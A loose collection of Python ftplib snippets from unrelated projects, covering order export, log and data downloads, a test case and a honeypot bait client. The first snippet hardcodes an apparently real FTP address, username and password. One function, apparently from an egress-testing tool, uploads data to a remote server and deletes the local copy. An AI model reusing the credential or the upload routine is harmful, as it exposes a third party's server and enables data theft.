def _export_shipping_data(self): ftp = FTP("62.214.48.227") ftp.login('relaxound', 'qOIg7W1Cic1vSNU') ftp.cwd('TEST') # print(ftp.pwd()) orders = self.env['sale.order'].search([ ('imported_to_lido', '=', False), ('invoice_status', 'in', ['invoiced', 'to invoice']), ('warehouse_id.name', '=', 'LIMAL') ]) if not orders: return 1 _logger.debug("1 ---------------------> %s" % orders) current_date = fields.Datetime.now() with open( os.path.join("src/user/SALE-ORDER-DATA/shipping_data_%s.csv" % (current_date)), 'wb') as shipping_data: shipping_data.write( b'ship_dataname1;is_retailer;ship_company;ship_addr1;ship_addr2;ship_city;ship_state;ship_zip;ship_country;ship_email;bill_name;bill_company;bill_addr1;bill_addr2;bill_city;bill_state;bill_zip;bill_country;inv_num;date;ship_method;client_order_ref;item_line_number;item_name;item_description;item_quantity;item_price;\n' ) for order in orders: invoices = self.env['account.invoice'].search([('origin', '=', order.name)]) _logger.debug("2 ---------------------> %s" % invoices) data = [ order.partner_shipping_id and order.partner_shipping_id.name or '', str(order.is_retailer), '', order.partner_shipping_id.street or '', order.partner_shipping_id.street2 or '', order.partner_shipping_id.city or '', order.partner_shipping_id.state_id.name or '', order.partner_shipping_id.zip or '', order.partner_shipping_id.country_id.name or '', order.partner_shipping_id.email or '', order.partner_invoice_id.name or '', ' ', order.partner_invoice_id.street or '', order.partner_invoice_id.street2 or '', order.partner_invoice_id.city or '', ' ', order.partner_invoice_id.zip or '', order.partner_invoice_id.country_id and order.partner_invoice_id.country_id.name or '', order.name or '', invoices and str(invoices[0].date_invoice) or '', 'PACKET', order.client_order_ref or '' ] if invoices: for invoice in invoices: for line in invoice.invoice_line_ids: if line.product_id.type != 'service': if line.product_id: items = line.product_id bundle_price = str(line.price_subtotal) bundle_id = str(line.id) for item in items: ship_data = data ship_data = data + [ bundle_id, str(item.code), item.name, str(line.quantity), bundle_price ] ship_data.append('\n') shipping_data.write(';'.join( map(str, ship_data)).encode('utf-8')) bundle_price = '' bundle_id = '' else: ship_data = data ship_data = data + [ str(line.id), str(line.product_id.code), line.name, str(line.quantity), str(line.price_subtotal) ] ship_data.append('\n') shipping_data.write(';'.join( map(str, ship_data)).encode('utf-8')) else: shipping_data.write(';'.join(map(str, data)).encode('utf-8')) order.imported_to_lido = True order.imported_date = current_date shipping_data.close() date_time = current_date.strftime("%m-%d-%Y %H.%M.%S") # print("date and time:",date_time) file = open( "src/user/SALE-ORDER-DATA/shipping_data_%s.csv" % (current_date), 'rb') ftp.storbinary( 'STOR ' + ftp.pwd() + '/shipping_data_%s.csv' % (date_time), file)
def get_ftp(host, username, password): ftp = FTP(host) resp = ftp.login(username, password) return ftp
from ftplib import FTP import pandas as pd #Connecting to FTP server host = 'hostname' ftp = FTP(host) # Login to ftp ftp.login("username", "password") #sourcefolder ftp.cwd('sourcefolder') print(ftp.retrlines('LIST')) #Destination folder out = 'destinationpath' with open(out, 'wb') as f: ftp.retrbinary('RETR ' + 'sales.csv', f.write) f.close() df = pd.read_csv("./ftp/salesfile.csv") df.head()
def ftp_connect(host, username, password): ftp_info = FTP() ftp_info.connect(host, 21) ftp_info.login(username, password) return ftp_info
def transmit(self, data_to_transmit): try: ftp = FTP() ftp.connect(self.remote_server, self.port) except socket.gaierror: print "[*] Error: Cannot connect to FTP server. Checking provided ip!" sys.exit() try: ftp.login(self.username, self.password) except error_perm: print "[*] Error: Username or password is incorrect! Please re-run." sys.exit() if not self.file_transfer: ftp_file_name = helpers.writeout_text_data(data_to_transmit) ftp.storbinary( "STOR " + ftp_file_name, open(helpers.ea_path() + "/" + ftp_file_name)) os.remove(helpers.ea_path() + "/" + ftp_file_name) else: ftp.storbinary("STOR " + self.file_transfer, open(self.file_transfer)) ftp.quit() print "[*] File sent!!!"
def pcap_main(self): ftp = FTP(self.IP, "user", passwd="password") self.send_Pcap(ftp) ftp.quit()
def get_hltv_demos_from_ftp(self, date, node, server_id, folder, cloud_server_helper): """ Download Match HLTV demos from instance :param date: date for which the demos will be downloaded :param node: Instance from which the Demos should be downloaded :param server_id: Id of the server :param folder: Destination folder :param cloud_server_helper: CloudServerHelper Object """ ftp = FTP() ftp.connect(cloud_server_helper.ip(node), 21) ftp.login(mS.ServerList[server_id][sC.HLTV_USERNAME], mS.ServerList[server_id][sC.HLTV_PASSWORD]) ftp.set_pasv(False) print(sC.STAR + pS.DOWNLOADING_HLTV_DEMOS) for file in ftp.mlsd(sC.CSTRIKE): if file[1][sC.TYPE] == sC.DIR or sC.DEMO_FORMAT not in file[0]: continue date_file = datetime.datetime.strptime(file[1][sC.MODIFY], cF.DATETIME_FORMAT) if date_file.date() >= date: source = sC.CSTRIKE + sC.SEPARATOR + file[0] destination = self.locations_hltv_starting_ + folder + sC.SEPARATOR + file[ 0] self.download(ftp, source, destination, date_file.timestamp()) ftp.close()
def get_data_ftp(self): ftp_config = get_config('secrets.ini') ftp = FTP(ftp_config['INFO']['ftp_ip']) ftp.login(ftp_config['INFO']['ftp_user'], ftp_config['INFO']['ftp_pass']) files = ftp.nlst('Player_Data') config_data = get_config('config.ini') if len(files) == 0: print('There are no player records to pull') else: print(f'\nRetrieving {len(files)} files...\n') for file in tqdm(files): split = file.split('/') file_path = Path(config_data['INFO']['data_folder'], 'Player', split[1]) with open(file_path, 'wb') as f: ftp.retrbinary(f'RETR {file}', f.write) ftp.delete(file) self.player_data.append(parse_player_file(file_path)) print('\nCompleted!') ftp.quit()
def get_logs_from_ftp(self, date, node, server_id, folder, cloud_server_helper): """ Get log data from instance :param date: date for which the logs will be downloaded :param node: Instance from which the logs should be downloaded :param server_id: Id of the server :param folder: Destination folder :param cloud_server_helper: CloudServerHelper Object """ self.logger.info(lS.FTP_CONNECTION) ftp = FTP() ip = cloud_server_helper.ip(node) self.logger.info(lS.CONNECTING_TO_.format(ip)) ftp.connect(ip, 21) self.logger.info( lS.USERNAME_AND_PASSWORD_.format( mS.ServerList[server_id][sC.USERNAME], mS.ServerList[server_id][sC.PASSWORD])) ftp.login(mS.ServerList[server_id][sC.USERNAME], mS.ServerList[server_id][sC.PASSWORD]) self.logger.info(lS.PASSIVE_MODE_FOR_FTP) ftp.set_pasv(False) self.logger.info(lS.FOR_FTP_TRANSFER_) folders = [ [self.results_, self.score_starting_ + folder], [self.amxmodx_logs_, self.logs_starting_ + folder], [self.cstrike_logs_, self.logs_starting_ + folder], ] self.logger.info(lS.DOWNLOADING_DATA) for c_folder in folders: self.logger.info(lS.CURRENT_FOLDER_.format(c_folder)) for file in ftp.mlsd(c_folder[0]): if file[1][sC.TYPE] == sC.DIR or (sC.LOG not in file[0] and sC.TXT not in file[0]): continue date_file = datetime.datetime.strptime(file[1][sC.MODIFY], cF.DATETIME_FORMAT) if date_file.date() >= date: source = c_folder[0] + sC.SEPARATOR + file[0] destination = c_folder[1] + sC.SEPARATOR + file[0] self.download(ftp, source, destination, date_file.timestamp()) ftp.close()
class FTPsyn(): conn = FTP() #创建一个ftp对象 def __init__(self, host, port=21): self.conn.connect(host, port) #连接ftp def login(self, username, password): self.conn.login(username, password) self.conn.encoding = "GB2312" self.conn.set_debuglevel(0) #打开调试级别2,显示详细信息 self.conn.set_pasv(True) #0主动模式 1 #被动模式 print(self.conn.welcome) #显示登陆成功信息 # print(1) # def _ftp_list(self, line): # print(line) # li = line.split(' ') # print(li) # if self.ftp_dir_name == li[-1] and "<DIR>" in li: # self._is_dir = True def _is_ftp_dir(self, ftp_path): """ 用来判断所给的路径是文件还是文件夹 """ ftp_path = ftp_path.rstrip('/') # print(ftp_path) ftp_parent_path = os.path.dirname(ftp_path) #去掉文件名,返回目录 # print(ftp_parent_path) self.ftp_dir_name = os.path.basename( ftp_path) #os.path.basename 返回path最后的文件名 # print(self.ftp_dir_name) self._is_dir = False # print(self._is_dir) if ftp_path == '.' or ftp_path == './' or ftp_path == '': #判断是不是为空或者跟路径 self._is_dir = True else: try: self.conn.cwd(ftp_path) self._is_dir = True # self.conn.retrlines('LIST %s' % ftp_parent_path, self._ftp_list) #获得当前ftp路径下所有文件信息 except error_perm as e: return self._is_dir return self._is_dir def put_file(self, local_path, ftp_path='.'): # print(local_path) ftp_path = ftp_path.rstrip('/') #去掉尾部的指定字符 # print(ftp_path) if os.path.isfile(local_path): file_handle = open(local_path, 'rb') #以二进制方式打开文件返回文件对象 # print(file_handle) local_file_name = os.path.basename( local_path) #os.path.basename 返回path最后的文件名 # print(local_file_name) # print(self._is_ftp_dir(ftp_path)) if self._is_ftp_dir(ftp_path): # 如果远程路径是个目录,则上传文件到这个目录,文件名不变 # print(ftp_path) # print(os.path.join(ftp_path, local_file_name)) # self.conn.storbinary('STOR %s'%ftp_path, file_handle) #上传文件至ftp目录 self.conn.storbinary( 'STOR %s' % os.path.join(ftp_path, local_file_name), file_handle ) #ftp.storbinaly("STOR filename.txt",file_handel,bufsize) #上传目标文件 # self.conn.delete(os.path.join(ftp_path, local_file_name)) # if # print(os.path.join(ftp_path, local_file_name).replace('SFRD','~$RD')) # self.conn.delete(os.path.join(ftp_path, local_file_name).replace('SFRD','~$RD')) elif self._is_ftp_dir( os.path.dirname(ftp_path)): #如果远程路径的上层是个目录,则上传文件,文件名按照给定命名 print("STOR %s" % ftp_path) print(1) self.conn.storbinary('STOR %s' % ftp_path, file_handle) else: # 如果远程路径不是目录,且上一层的目录也不存在,则提示给定远程路径错误 print('STOR %s' % ftp_path, file_handle) def put_dir(self, local_path, ftp_path=".", begin=True): ftp_path = ftp_path.rstrip('/') # 去掉尾部的指定字符 # print(ftp_path) # print(local_path) if not os.path.isdir(local_path): #判断本地路径是否存在 print('ERROR the local dir %s is not exist' % local_path) mb.showinfo('提示信息', '请选择文件夹') return if begin: # 上传初始化:如果给定的ftp路径不存在需要创建,同时将本地的目录存放在给定的ftp目录下。 # 本地目录下文件存放的路径为ftp_path = ftp_path + os.path.basename(local_path) if not self._is_ftp_dir(ftp_path): try: self.conn.mkd(ftp_path) except Exception as e: pass ftp_path = os.path.join(ftp_path, os.path.basename(local_path)) # print(ftp_path) # 如果上传路径是文件夹,则创建目录 if not self._is_ftp_dir(ftp_path): try: self.conn.mkd(ftp_path) #创建目录 except Exception as e: pass # 进入本地目录,开始递归查询 os.chdir(local_path) #os.chdir() 方法用于改变当前工作目录到指定的路径 # print(os.getcwd()) #返回当前工作目录 local_files = os.listdir( '.') #os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。 # print(local_files) if len(local_files) == 2: # print(1) # print(local_files[1]) # print(local_files[0]) if '~$' in local_files[1]: # print(1) local_files.remove(local_files[1]) for file in local_files: ftp_file = os.path.join(ftp_path, file) #拼接目录字符创建目录, # print(ftp_file) # print(file) # 如果file本地路径是目录则递归上传文件(不需要再进行初始化begin的标志修改为False) # #如果file本地路径是文件则直接上传文件 if os.path.isdir(file): self.put_dir(file, ftp_file, False) else: # print(ftp_path) self.put_file(file, ftp_path) # 如果当前本地目录文件已经遍历完毕返回上一层目录 os.chdir('..')
def start(self): """ Descarga los datos de AEMET en DATA_DIR """ # Inicia sesión FTP ftp = FTP(FTP_AEMET) ftp.login() # Ir a series climatológicas ftp.cwd('series_climatologicas') # Descarga maestro.csv print "Descargando maestro.csv..." ftp.retrbinary('RETR maestro.csv', open('maestro.csv', 'wb').write) ftp.cwd('valores_diarios') ftp.cwd('anual') # Descarga de ficheros for f in ftp.nlst(): if f in "..": continue print "Descargando %s..." % (f) try: ftp.retrbinary('RETR ' + f, open(f, 'wb').write) except: os.remove(f) pass
""" File transfer protocol used to send and receive files using FTP server. Use credentials to provide access to the FTP client Note: Do not use root username & password for security reasons Create a seperate user and provide access to a home directory of the user Use login id and password of the user created cwd here stands for current working directory """ from ftplib import FTP ftp = FTP('xxx.xxx.x.x') """ Enter the ip address or the domain name here """ ftp.login(user='******', passwd='password') ftp.cwd('/Enter the directory here/') """ The file which will be received via the FTP server Enter the location of the file where the file is received """ def ReceiveFile(): FileName = 'example.txt' """ Enter the location of the file """ LocalFile = open(FileName, 'wb') ftp.retrbinary('RETR ' + filename, LocalFile.write, 1024) ftp.quit() LocalFile.close() """ The file which will be sent via the FTP server The file send will be send to the current working directory """
class FTPSanityTest(module_framework.AvocadoTest): """ :avocado: enable """ def setUp(self): super(self.__class__, self).setUp() self.start() time.sleep(2) self.run('touch /etc/vsftpd/user_list') self.ftp = FTP('localhost') self.ftp.login() def tearDown(self): super(self.__class__, self).tearDown() self.ftp.quit() def test_list_files(self): self.ftp.cwd('forest') out = self.ftp.retrlines('LIST') if 'spruce.txt' not in out: raise AssertionError('Failed to list files') def test_put_file(self): file = open('files/alien.txt', 'rb') self.ftp.storlines('STOR alien.txt', file) file.close() def test_get_file(self): self.ftp.cwd('forest') file = open('pine.txt', 'wb') self.ftp.retrlines('RETR pine.txt', file.write) file.close()
#!/usr/bin/env python from ftplib import FTP import time import sys #ftp://electro:[email protected]/2014/January/28/1030/140128_1030_original_RGB.jpg def log(level, s): print s + "\n" log(0, 'Connect...') ftp = FTP('ftp.ntsomz.ru') log(0, 'Login...') ftp.login('electro', 'electro') year = time.strftime("%Y", time.localtime()) year2 = time.strftime("%y", time.localtime()) mnt = time.strftime("%B", time.localtime()) mnt2 = time.strftime("%m", time.localtime()) day = time.strftime("%d", time.localtime()) path = year + '/' + mnt + '/' + day + '/' log(0, 'CD to:' + path + '...') ftp.cwd(path) log(0, 'Get List:' + path + '...') data = [] list_files = [] ftp.dir(data.append) for d in data: ss = str(d) log(0, ss) try:
product = 'M' + sector + 'color' catalogSuffix = 'meso_sector_' + sector + '_color' if test: ftpCatalogServer = 'ftp.atmos.washington.edu' ftpCatalogUser = '******' ftpCatalogPassword = '******' catalogDestDir = 'brodzik/incoming/impacts' else: ftpCatalogServer = 'catalog.eol.ucar.edu' ftpCatalogUser = '******' catalogDestDir = '/pub/incoming/catalog/impacts' # Open ftp connection if test: catalogFTP = FTP(ftpCatalogServer, ftpCatalogUser, ftpCatalogPassword) catalogFTP.cwd(catalogDestDir) else: catalogFTP = FTP(ftpCatalogServer, ftpCatalogUser) catalogFTP.cwd(catalogDestDir) # getdate and time - are now and nowObj the same thing?? nowTime = time.gmtime() nowObj = datetime(nowTime.tm_year, nowTime.tm_mon, nowTime.tm_mday, nowTime.tm_hour, nowTime.tm_min, nowTime.tm_sec) nowUnixTime = int(nowObj.strftime("%s")) nowStr = nowObj.strftime("%Y%m%d%H%M%S") nowDateStr = nowObj.strftime("%Y%m%d") if debug: print('nowStr =', nowStr)
import sys import pygame as pyg from pygame import gfxdraw from pygame.locals import * import math from PIL import Image, ImageDraw import timer from ftplib import FTP import pathlib physpath = pathlib.Path(__file__).parent.absolute() print('physpath: ' + str(physpath)) fd = os.open(str(physpath), os.O_RDONLY) os.fchdir(fd) # Use os.fchdir() method to change the dir ftp = FTP('ftp.phonomena.net') gnum = 0 # ===== ORIG STARTS HERE pyg.init() random.seed(a=None, version=2) Tmaxelements = 93 # random.randint(10, 200) Tarray = [] graVits = [] width = 800 # image width in pixels height = 800 # image height in pixels black = (0, 0, 0) white = (255, 255, 255)
class ftp(ClientBase): COMMAND_MAP = { 'pwd': ['list'], 'list': ['retrieve', 'cwd'], 'cwd': ['list', 'retrieve', 'pwd'], 'retrieve': ['list', 'quit'] } def __init__(self, sessions, options): """ Initializes common values. :param sessions: A dict which is updated every time a new session is created. :param options: A dict containing all options """ super(ftp, self).__init__(sessions, options) self.state = { 'current_dir': '/', 'file_list': [], 'dir_list': [], 'last_command': 'pwd' # Assume that client has previously performed a pwd (to avoid IndexErrors) } self.client = FTP() self.senses = ['pwd', 'list'] self.actions = ['cwd', 'retrieve'] def start(self): """ Launches a new FTP client session on the server taken from the `self.options` dict. :param my_ip: IP of this Client itself """ username = self.options['username'] password = self.options['password'] server_host = self.options['server'] server_port = self.options['port'] honeypot_id = self.options['honeypot_id'] command_limit = random.randint(6, 11) session = self.create_session(server_host, server_port, honeypot_id) self.sessions[session.id] = session logger.debug( 'Sending {0} bait session to {1}:{2}. (bait id: {3})'.format('ftp', server_host, server_port, session.id)) self.file_list = [] try: self.connect() session.did_connect = True # TODO: Catch login failure self.login(username, password) session.add_auth_attempt('plaintext', True, username=username, password=password) session.did_login = True session.timestamp = datetime.utcnow() except ftplib.error_perm as err: logger.debug('Caught exception: {0} ({1})'.format(err, str(type(err)))) except socket.error as err: logger.debug('Error while communicating: {0} ({1})'.format(err, str(type(err)))) else: command_count = 0 while command_count <= command_limit: command_count += 1 try: self.sense() cmd, param = self.decide() self.act(cmd, param) gevent.sleep(random.uniform(0, 3)) except IndexError: # This means we hit an empty folder, or a folder with only files. continue session.did_complete = True finally: if self.client.sock is not None: self.client.quit() session.alldone = True def sense(self): """ Launches a few "sensing" commands such as 'ls', or 'pwd' and updates the current bait state. """ cmd_name = random.choice(self.senses) command = getattr(self, cmd_name) self.state['last_command'] = cmd_name command() def decide(self): """ Decides the next command to be launched based on the current state. :return: Tuple containing the next command name, and it's parameters. """ next_command_name = random.choice(self.COMMAND_MAP[self.state['last_command']]) param = '' if next_command_name == 'retrieve': param = random.choice(self.state['file_list']) elif next_command_name == 'cwd': param = random.choice(self.state['dir_list']) return next_command_name, param def act(self, cmd_name, param): """ Run the command with the parameters. :param cmd_name: The name of command to run :param param: Params for the command """ command = getattr(self, cmd_name) if param: command(param) else: command() def list(self): """ Run the FTP LIST command, and update the state. """ logger.debug('Sending FTP list command.') self.state['file_list'] = [] self.state['dir_list'] = [] self.client.retrlines('LIST', self._process_list) def retrieve(self, filename): """ Run the FTP RETR command, and download the file :param filename: Name of the file to download """ logger.debug('Sending FTP retr command. Filename: {}'.format(filename)) self.client.retrbinary('RETR {}'.format(filename), self._save_file) def pwd(self): """ Send the FTP PWD command. """ logger.debug('Sending FTP pwd command.') self.state['current_dir'] = self.client.pwd() def cwd(self, newdir): """ Send the FTP CWD command :param newdir: Directory to change to """ logger.debug('Sending FTP cwd command. New Workding Directory: {}'.format(newdir)) self.client.cwd(newdir) self.state['current_dir'] = self.client.pwd() def quit(self): """ End the current FTP session. """ logger.debug('Sending FTP quit command.') self.client.quit() def login(self, username, password): """ Login to the remote server :param username: The username to use for login :param password: The password to use for login """ self.client.login(username, password) def _process_list(self, list_line): # -rw-r--r-- 1 ftp ftp 68 May 09 19:37 testftp.txt """ Processes a line of 'ls -l' output, and updates state accordingly. :param list_line: Line to process """ res = list_line.split(' ', 8) if res[0].startswith('-'): self.state['file_list'].append(res[-1]) if res[0].startswith('d'): self.state['dir_list'].append(res[-1]) def _save_file(self, data): """ Dummy function since FTP.retrbinary() needs a callback """ def connect(self): """ Connect to the remote FTP server (Honeypot). """ self.client.connect(self.options['server'], self.options['port'])
#!/usr/bin/env python3 from ftplib import FTP host = "localhost" user = "******" password = "******" ftp = FTP(host,user,password) ftp.cwd("/home/chris") ftp.retrlines('LIST')
def traffic_main(self): ftp = FTP(self.IP, "user", passwd="password") self.send_Trafic(ftp) ftp.quit()